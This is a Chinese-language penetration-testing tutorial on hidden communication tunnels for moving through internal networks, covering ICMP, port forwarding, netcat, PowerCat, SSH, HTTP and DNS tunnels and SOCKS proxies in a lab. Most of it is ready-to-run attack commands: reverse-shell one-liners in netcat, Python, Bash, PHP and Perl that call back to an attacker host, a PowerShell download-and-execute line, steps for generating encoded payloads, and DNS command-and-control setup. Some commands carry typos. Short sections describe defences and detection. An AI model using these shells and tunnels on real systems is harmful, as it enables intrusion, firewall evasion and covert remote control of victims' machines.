内网渗透之隐藏通信隧道技术

一、隐藏通信隧道基础知识

1、隐藏通信隧道概述

一般的网络通信,先在两台机器之间建立TCP连接,然后进行正常的数据通信。在知道IP地址的情况下,可以直接发送报文;如果不知道IP地址,就需要将域名解析成IP地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至人侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。

这里的隧道,是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。

常用的隧道列举如下:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道。
  • 传输层:TCP隧道、UDP隧道、常规端口转发。
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道。

2、判断内网的连通性

判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、 443、53、110、123等。常用的内网连通性判断方法如下:

2.1、ICMP协议

ping <IP地址和域名>

在这里插入图片描述

2.2、TCP协议

netcat (简称nc)被誉为网络安全界的“瑞士军刀”,是一个短小精悍的工具,通过使用TCP或UDP协议的网络连接读写数据。

使用nc工具,执行命令:

nc <IP 地址端口号>

开启phpstudy前后

在这里插入图片描述

2.3、HTTP协议

curl是一个利用URL规则在命令行下工作的综合文件传输工具,支持文件的上传和下载。curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、Cookie、 认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。Linux 操作系统自带curl命令。在Windows操作系统中,需要下载并安装curl 命令。

curl <IP地址:端口号>

如果远程主机开启了相应的端口,会输出相应的端口信息。如果远程主机没有开通相应的端口,则没有任何提示。按“Ctrl+C”键即可断开连接。

在这里插入图片描述

2.4、DNS协议

在进行DNS连通性检测时,常用的命令为nslookup和dig。

nslookup是Windows操作系统自带的DNS探测命令,其用法如下所示。在没有指定vps-ip时,nslookup会从系统网络的TCP/IP属性中读取DNS服务器的地址。

nslookup www.baidu.com vps-ip

dig是Linux 默认自带的DNS探测命令,其用法如下所示。在没有指定vps-ip时,dig 会到/etc/resolv.conf文件中读取系统配置的DNS服务器的地址。如果vps-ip 为192.168.43.1, 将解析百度网的IP地址,说明目前DNS协议是连通的。

dig @vps-ip www.baidu.com

还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的场景。常用的判断方法如下:

  • 查看网络连接,判断是否存在与其他机器的8080 (不绝对)等端口的连接(可以尝试运行“ping -n 1 -a ip” 命令)。
  • 查看内网中是否有主机名类似于“proxy" 的机器。
  • 查看IE浏览器的直接代理。
  • 根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看。
  • 执行如下命令,利用curl工具进行确认。
curl www.baidu.com //不通
curl -X proxy-ip:port www.baidu.com //通

二、网络层隧道技术

1、IPv6隧道

1.1、IPv6隧道技术简介

IPv6隧道技术是指通过IPv4隧道传送IPv6数据报文的技术。为了在IPv4中传递IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4,到达另一个IPv6程序。

因为现阶段的边界设备、防火墙甚至人侵防御系统还无法识别IPv6的通信数据,而大多数的攻击者有时会通过恶意软件来配置允许进行IPv6通信的设备,以避开防火墙和入侵检测系统。

在这里插入图片描述

有一点需要指出:即使设备支持IPv6,也可能无法正确分析封装了IPv6 报文的IPv4数据包。配置隧道和自动隧道的主要区别是:只有在执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点分配IP地址时,如果采用的是自动隧道方法,就不需要进行配置。

配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用DHCP、人工配置或他IPv4的配置机制。

支持IPv6的隧道工具有socat、6tunnel 、nt6tunnel 等。

1.2、防御IPv6隧道攻击的方法

针对IPv6隧道攻击,最好的防御方法是:了解IPv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。

2、ICMP隧道

ICMP隧道简单、实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相对应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。

常用的ICMP隧道工具有icmpsh、PingTunnel 、icmptunnel、 powershell icmp等。

2.1、icmpsh

icmpsh工具使用简单,便于“携带”(跨平台),运行时不需要管理员权限。使用git clone命令下载icmpsh。

git clone https://github.com/inquisb/icmpsh.git

安装Python的impacket类库,以便对TCP、UDP、ICMP、IGMP、ARP、IPv4、 IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问。

pip install impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,输人如下命令来关闭本地系统的ICMP应答( 如果要恢复系统应答,则设置为0),否则Shell的运行会不稳定(表现为一直刷屏,无法进行交互输人)。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

直接输人“./run.sh" 会抱错,输入如下命令运行工具:

python2 icmpsh_m.py 【kali主机地址】 【windows主机地址】 # 运行工具

查看kali攻击者IP地址(192168.220.165)。然后输人如下命令。

icmpsh.exe -t 【kali主机地址】

在这里插入图片描述

在目标主机上运行以上命令后,即可在VPS中看到反弹的shell

在这里插入图片描述

2.2、PingTunnel

PingTunnel也是一款常用的ICMP隧道工具,可以跨平台使用。为了避免隧道被滥用,可以为隧道设置密码。

在这里插入图片描述

实验环境:

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、192.168.52.132
  • 内网主机(windows7):192.168.52.133

首先,在需要建立ICMP隧道的两台机器(kali和Web服务器)上安装PingTunnel工具。 然后,输人如下命令,解压压缩文件,进行配置和编译。

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

但在安装前需要安装它的运行环境

安装libpcap的依赖环境
apt-get install byacc
apt-get install flex bison

安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

使用方法:

在Web服务器192.168.220.145中输人如下命令,运行PingTunnel 工具,开启隧道。

ptunnel -x password

在kali机器192.168.220.165中执行如下命令。

ptunnel -p 192.168.220.145 -lp 2333 -da 192.168.52.133 -dp 80 -x password
  • -p 指定ICMP隧道另一端的IP
  • -lp:指定本地监听的TCP端口
  • -da:指定要转发的目标机器的IP
  • -dp:指定要转发的目标机器的TCP端口
  • -x:指定连接密码

上述命令的含义是:在访问攻击者kali(192.168.220.165)的2333端口时,会把数据库服务器192.168.52.133的80端口的数据封装在ICMP隧道里,以Web服务器192.168.220.145为ICMP隧道跳板进行传送。

在这里插入图片描述

可以看到服务标识是windows7

如果内网机器是linux的可以连接22端口,如果是windows可以尝试3389端口

ptunnel -p 192.168.200.34 -lp 2333 -da 192.168.100.7 -dp 22 -x password

2.3、防御ICMP隧道攻击的方法

许多网络管理员会阻止ICMP通信进人站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下。

  • 检测同一来源的ICMP数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包。
  • 注意那些Payload大于64bit的ICMP数据包。
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一 致的ICMP数据包。
  • 检查ICMP数据包的协议标签。例如,icmptunnel 会在所有的ICMP Payload 前面添加“TUNL”标记来标识隧道一这就是特征。

三、传输层隧道技术

传输层技术包括TCP隧道、UDP隧道和常规端口转发等。

1、LCX端口转发

lcx 是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows 版为lcx.exe, Linux 版为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端;通过传人服务端的IP地址和端口,才能主动与服务器连接。

下载地址:https://github.com/Brucetg/Pentest-tools/tree/master/

1.1、内网端口转发

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口,上。

lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389

在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555 端口上。

lcx.exe -listen 4444 5555

此时,用mstsc登录“<公网主机IP地址>:5555”,或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。

1.2、本地端口映射

如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口(例如53)。在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。

lcx -tran 53 <目标主机IP地址> 3389

2、netcat

2.1、简易使用

  • -d:后台模式
  • -e:程序重定向
  • -g<网关>:设置路由器跃程通信网关,最多可设置8个
  • -G<指向器数目>:设置源路由指向器的数量,值为4的倍数
  • -h:在线帮助
  • -i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口
  • -l:使用监听模式,管理和控制传人的数据
  • -n:直接使用IP地址(不通过域名服务器)
  • -o<输出文件>:指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中
  • -p<通信端口>:设置本地主机使用的通信端口
  • -r:随机指定本地与远程主机的通信端口
  • -s<源地址>:设置本地主机送出数据包的IP地址
  • -u:使用UDP传输协议
  • -v:详细输出
  • -w<超时秒数>:设置等待连线的时间
  • -z:将输人/输出功能关闭,只在扫描通信端口时使用

Banner抓取

nc -nv 192.168.220.165 21

连接远程主机

nc -nvv 192.168.220.165 80

端口扫描

nc -v 192.168.220.165 80   扫描指定端口
nc -v -z 192.168.220.165 20-1024   扫描端口段(速度慢)

端口监听

nc -l -p 4444   当访问该端口时会输出该信息到命令行

文件传输

nc -l -p 4444                               接收方开启监听
nc -vn 192.168.220.165 4444 < test.txt -q 1 发送方传输test.txt

简易聊天

nc -l -p 4444               接收方开启监听
nc -vn 192.168.220.165 4444 发送方

2.2、获取Shell

Shell分为两种,一种是正向Shell,另一种是反向Shell。 如果客户端连接服务器,客户端想要获取服务器的Shell, 就称为正向Shell;如果客户端连接服务器,服务器想要获取客户端的Shell,就称为反向Shell。反向Shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。

正向Shell

在目标主机中输人如下命令,监听目标主机的4444端口

nc -1vp 4444 -e /bin/sh                     //Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows

在kali攻击机输人如下命令,连接目标主机的4444端口

nc <目标IP> 4444

在这里插入图片描述

在这里插入图片描述

现在可以在目标主机上看到192.168.220.165正在连接本机。

反向Shell

kali攻击机输人如下命令,监听本地9999端口。

nc -lvp 9999

在目标主机中输人如下命令,连接VPS主机192.168.220.165 的9999端口。

nc 192.168.220.165 9999 -e /bin/sh                    //Linux
nc 192.168.220.165 9999 -e C:\windows\system32\cmd.exe//Windows 

在这里插入图片描述

2.3、在目标主机中没有nc时获取反向Shell

在一般情况下,目标主机中是没有nc的。此时,可以使用其他工具和编程语言来代替nc,实现反向连接(下面的代码仅适用于目标主机为linux的情况)

(1)Python反向Shell

在kali攻击机上执行命令,监听本地4444端口。

nc -lvp 4444

在目标主机上执行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect(("192.168.220.165",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

(2)Bash反弹shell

在kali攻击机上执行命令,监听本地4444端口。

nc -lvp 4444

在目标主机上执行如下命令

bash -i >& /dev/tcp/192.168.220.165/4444 0>&1

在这里插入图片描述

(3)PHP反向Shell

在kali攻击机上执行命令,监听本地4444端口。

nc -lvp 4444

PHP常用在Web服务器上,它是nc、Perl 和Bash的一个很好的替代品。执行如下命令,实
现PHP环境下的反弹Shell

php -r '$sock=fsockopen("192.168.220.165,4444);exec("/bin/sh -i <&3 >&3 2>&3");'

(4)Perl反向Shell

在kali攻击机上执行命令,监听本地4444端口。

nc -lvp 4444

如果此时目标主机使用的是Perl语言,仍然可以使用Perl来建立反向Shell。

在目标主机上运行如下命令

perl -e 'use Socket;$i="192.168.220.165";$p=4444;socket(S,PF_INET,SOCK_STREAM, getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, ">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.4、内网代理

假设有三台主机A、B和C,其中B、C在内网环境中。主机A访问B,并获取了B的Shell;A不能直接访问C,可以通过B访问C。现在要获取C的shell。

在主机A:nc -lvp 4444
在主机C:nc -lvp 9999 -e /bin/sh
在主机B:nc -v <主机A的IP地址> 4444 -c "nc -v <主机C的IP地址> 9999"

3、PowerCat

PowerCat可以说是nc的PowerShell版本。PowerCat 可以通过执行命令回到本地运行,也可以使用远程权限运行。

下载安装PowerCat

打开命令行环境,执行git clone命令( 确保本地主机中安装了git 环境)下载PowerCat

下载完成后,在终端输人“cd powercat”命令,即可进入PowerCat的目录。在PowerShell命令行环境中,要想使用powercat.ps1脚本,必须先进行导人操作。

Import-Module .\powercat.ps1

如果提示未能加载指定模块,则可能是权限问题,输入下面命令修改权限

Set-ExecutionPolicy Unrestricted

如果没有权限,也可以直接下载远程文件进行绕过。

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

powercat 的使用

-l      监听模式
-p      指定监听端口
-e      指定启动进程的名称
-v      显示详情
-c      指定想要连接的 IP 地址
-ep     返回 powershell
-dns    使用 dns 通信
-g      生成 payload
-ge     生成经过编码的 payload,可以直接使用 powershell -e 执行该 payload

正向连接

Kali 上的 nc 连接到靶机

nc -v 192.168.220.142 4444

靶机开启监听,等待 Kali 连接

powercat -l -v -p 4444 -e cmd.exe

反向连接

Kali 上开启监听

nc -lvp 4444

靶机向 kali 发起连接

powercat -c 192.168.220.165 -p 4444 -e cmd.exe

返回 powershell

攻击机上运行

powercat -l -v -p 4444

靶机上运行

powercat -c 192.168.220.165 -p 4444 -v -ep

powercat 生成 payload

用PowerCat生成的Pylod也有正向和反向之分,且可以对其进行编码。尝试生成一个简单的Payload,在攻击机中执行如下命令。

powercat -1 -p 8000 -e cmd -v -g >> shell.ps1

将生成的psl文件上传到靶机中并执行,然后在攻击机中执行如下命令,就可以获得一个反弹 Shell。

powercat -C 191.168.52.10 -P 8000 -V

如果想反弹PowerShell,可以执行如下命令。

powercat -1 -P 8000 -ep -V -g >> shell.ps1

用PowerCat也可以直接生成经过编码的Payload。在攻击机中执行如下命令,即可得到经过编码的Payload。

powercat -C 192.168.52.10 -P 9999 -ep -ge

继续在攻击机中执行如下命令,并将Payload在靶机执行

powercat -1 -p 9999 -V 

虽然PowerCat的作者给出的说明是在PowerShell 2.0以上版本中就可以使用这个功能,但是根据测试,在PowerShell 4.0以下版本中使用这个功能时都会报错。

建立 dns 隧道连接

powercat 的 dns 隧道是基于 dnscat 设计的,因此在服务端需要使用 dnscat 连接。

在服务端上安装 dnscat ,以 kali 为例

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

命令运行完之后,执行以下命令开启服务端

ruby dnscat2.rb powercat -e open --no-cache

在靶机下,执行以下命令,建立 dns 隧道

powercat -c 192.168.220.165 -p 53 -dns powercat -e cmd.exe

将PowerCat作为跳板

测试环境为:

  • kali 192.168.220.165
  • windows7 192.168.220.142&&192.168.52.10
  • win2008 192.168.52.30

将 win7 作为跳板机,让 kali 通过 win7 连接到 win2008

在 win2008 中执行以下命令

powercat -l -v -p 4444 -e cmd.exe

使用DNS协议:
powercat -C -192.168.52.10 -p 8000 -v -e cmd.exe

在 win7 中执行以下命令

powercat -l -v -p 5555 -r tcp:192.168.52.30:4444

使用DNS协议:
powercat -1 -p 8000 -r dns:192.168.220.165::ttpowercat.test

最后在 kali 下连接 win7

nc -v 172.16.214.2 5555

使用DNS协议:
ruby dnscat2.rb ttpowercat.test -e open --no-cache

四、应用层隧道技术

应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS。

1、SSH 协议

在内网中,几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

一个普通的SSH命令如下。

ssh root@192.168.1.1

创建SSH隧道的常用参数说明如下:

  • -C:压缩传输,提高传输速度
  • -f:将SSH传输转入后台执行,不占用当前的Shell
  • -N:建立静默连接(建立了连接,但是看不到具体会话)
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS代理)
  • -P:指定SSH端口

1.1、本地转发

实验环境:

在这里插入图片描述

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、192.168.52.132
  • 内网主机(win2003):192.168.52.133

以Web服务器192.168.220.145为跳板,将内网主机192.168.52.133 的3389端口映射到kali攻击机192.168.220.165的4444端口,再访问kali攻击机的4444端口,就可以访问192.168.52.133的3389端口了。

kali攻击机上执行如下命令,会要求输人Web服务器( 跳板机)的密码。

ssh -CfNg -L 4444(VPS端口):192.168.52.133 (目标主机):80(目标端口) root@192.168.220.145(跳板机)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

SSH进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口。

1.2、远程转发

实验环境:

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.145、192.168.52.132
  • 内网主机(win2003):192.168.52.133

以Web服务器为跳板,将kali攻击机的3307端口的流量转发到内网主机的3389端口,然后访问kali攻击机的3307端口,就可以访问内网主机的3389端口了。

在Web服务器192.168.220.145上执行如下命令。

ssh -CfNg -R 3307(kali攻击机端口):192.168.52.133(目标主机):3389(目标端口) root@192.168.220.165(kali攻击机ip)

在这里插入图片描述

在本地访问kali的3307端口,可以发现,已经与内网主机 的3389端口建立了连接

rdesktop 127.0.0.1:3307

在这里插入图片描述

在这里插入图片描述

本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

1.3、动态转发

实验环境:

  • kali攻击机:192.168.220.165
  • web服务器(ubuntu):192.168.220.140、192.168.52.137
  • 内网主机(win2003):192.168.52.133

在kali攻击机上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器的密码。

ssh -CfNg -D 7000 root@192.168.220.140

在这里插入图片描述

接下来,在本地打开浏览器,设置网络代理。通过浏览器访问内网域控制器192.168.52.133

输人如下命令,查看本地7000端口是否已经连接。

netstat -tulnp 1 grep ": 7000"

动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

1.4、防御SSH隧道攻击的思路

SSH隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。

如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制SSH远程登录的地址和双向访问控制策略(从外部到内部;从内部到外部)。

2、HTTP/HTTPS协议

HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter 、tunna
等。

reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀。

reGeorg 支持ASPX、PHP、JSP 等Web脚本,并特别提供了一个Tomeat5版本。

将脚本文件上传到目标服务器中,使用Kali Linux在本地访问远程服务器上的tunnel.jsp 文件。返回后,利用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。

输人如下命令,查看本地端口,可以发现9999端口已经开启了。

python reGeorgSocksProxy.py -u http://192.168.220.140:8080/tunnel.jsp -p 9999

隧道正常工作之后,可以在本地Kali Linux机器上使用ProxyChains之类的工具,访问目标内网中的资源。

传统的Web服务器通常不会将本地的3389端口开放到公网,攻击者的暴力破解行为也很容易被传统的安全设备捕获。但是,如果使用HTTP隧道进行端口转发,不仅攻击者可以直接访问Web服务器的3389端口,而且暴力破解所产生的流量的特征也不明显。因此,在日常网络维护中,需要监控HTTP隧道的情况,及时发现问题。

3、DNS协议

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已成为攻击者控制隧道的主流渠道。

一方面,在网络世界中,DNS是一个必不可少的服务;另一方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。越来越多的研究证明,DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器( Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植人C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

正常网络之间的通信,都是在两台机器之间建立TCP连接后进行的。在进行数据通信时:如果目标是IP地址,可以直接发送报文;如果目标是域名,会先将域名解析成IP地址,再进行通信。两台机器建立连接后, C&C服务端就可以将指令传递给C&C客户端上的木马(后门)程序,让其受到控制。

内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据,帮助防火墙进行阻断操作。这样一来,C&C通信就会被切断。于是,通过各种隧道技术实现C&C通信的技术(特别是DNS隧道技术)出现了。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。

在使用DNS隧道与外部进行通信时,从表面上看是没有接连外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。

1、查看DNS的连通性

首先,需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是要测试DNS的连通性。

输人如下命令,查询当前内部域名及IP地址。

cat /etc/resolv.conf|grep -v '#'

输人如下命令,查看能否与内部DNS通信。可以看到,能够解析内部域名

nslookup ad.com

输人如下命令,查询能否通过内部DNS服务器解析外部域名。可以看到,能够通过内部DNS服务器解析外部域名,这意味着可以使用DNS隧道实现隐蔽通信。

nslookup baidu.com 

2、dnscat2

dnscat2是一款开源软件。它使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型( TXT、MX、CNAME、A. AAAA),多个同时进行的会话类似于SSH中的隧道,dnscat2 是一个命令与控制工具。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求。
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。

如果目标内网放行所有的DNS请求,dnscat2 会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以“dnscat”开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果目标内网中的请求仅限于白名单服务器或者特定的域, dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2 具有如下特点。

  • 支持多个会话。
  • 流量加密。
  • 使用密钥防止MiTM攻击。
  • 在内存中直接执行PowerShell脚本。
  • 隐蔽通信。

2.1、服务端

安装

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

使用

#启动
sudo ruby./dnscat2.rb abc.com --secret=123456  # abc.com 自定义DNS传输的域名;--secret 自定义连接密码
sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456  #设置监听端口
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #--security 规定了安全级别;--no-cache 禁止缓存

2.2、客户端

安装

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make

使用

dnscat --secret=123456 abc.com 
dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456   

具体的使用方法大家自己去看官方手册

3、iodine

碘的原子序数为53,而这恰好是DNS的端口号,故该工具被命名为“iodine"

iodine可以通过一-台DNS服务器制造一个IPv4数据通道,特别适合在目标主机只能发送DNS请求的网络环境中使用。iodine 是基于C语言开发的,分为服务端程序iodined 和客户端程序iodine。Kali Linux内置了iodine 。

与同类工具相比,iodine 具有如下特点:

  • 不会对下行数据进行编码。
  • 支持多平台,包括Linux、 BSD、Mac OS、Windows。
  • 支持16个并发连接。
  • 支持强制密码机制。
  • 支持同网段隧道IP地址(不同于服务器一客户端网段)。
  • 支持多种DNS记录类型。
  • 提供了丰富的隧道质量检测措施。

iodine支持直接转发和中继两种模式,其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡。

具体的使用方法大家自己去看官方手册

4、防御DNS隧道攻击的方法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
  • 虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列人白名单并阻止传人和传出流量中的TXT请求。
  • 跟踪用户的DNS查询次数。如果达到阈值,就生成相应的报告。
  • 阻止ICMP。

五、SOCKS代理

常见的网络场景有如下三类。

  • 服务器在内网中,可以任意访问外部网络。
  • 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
  • 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。

1、常用的SOCKS代理工具

SOCKS是一种代理服务,可以简单地将一端的系统连接另一端。 SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型:SOCKS 4只支持TCP协议;SOCKS 5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能。SOCKS代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的SOCKS代理工具,能够支持多平台的工具更佳。

常用的SOCKS代理工具有:EarthWorm、reGeorg、sSocks、SocksCap64、Proxifier、ProxyChains

2、SOCKS代理技术在网络环境中的应用

2.1、EarthWorm的应用

EW的使用也非常简单,共有六种命令格式,分别是ssocksd、rcsocks、 rssocks、 lcx_slave、lcx_listen、 lex_tran。 其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是resocks、rssocks, 其他命令用于复杂网络环境的多级级联。

正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。

工具链接:https://github.com/idlefire/ew

测试环境:

在这里插入图片描述

  • kali攻击机:192.168.220.165
  • web服务器(win7):192.168.220.143、192.168.52.10
  • 内网主机(win2003):192.168.52.20

(1)正向SOCKS5服务器

以下命令适用于目标机器拥有一个外网IP地址的情况。

ew -s ssocksd -l 888

在这里插入图片描述

执行上述命令,即可架设一个端口为888的SOCKS代理。接下来,使用SocksCap64添加这个IP地址的代理即可。

(2)反弹SOCKS5服务器

目标机器没有公网IP地址的情况具体如下(使其可以访问内网资源)。

首先,将EW上传到kali攻击机中,执行如下命令。

ew -s rcsocks -l 1080 -e 888

该命令的意思是:在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。然后,将EW上传到Web服务器中,执行如下命令。

ew -s rssocks -d 192.168.220.165 -e 888

该命令的意思是:在IP地址为192.168.220.143的服务器上启动SOCKS5服务,然后,反弹到192.168.220.165kail攻击机的888端口。

在这里插入图片描述

最后,可以在kali的命令行界面看到反弹成功。现在就可以通过访问192.168.220.165 kali攻击机的1080端口,使用在网络右侧IP地址为192.168.52.10的服务器上架设的SOCKS5代理服务了。

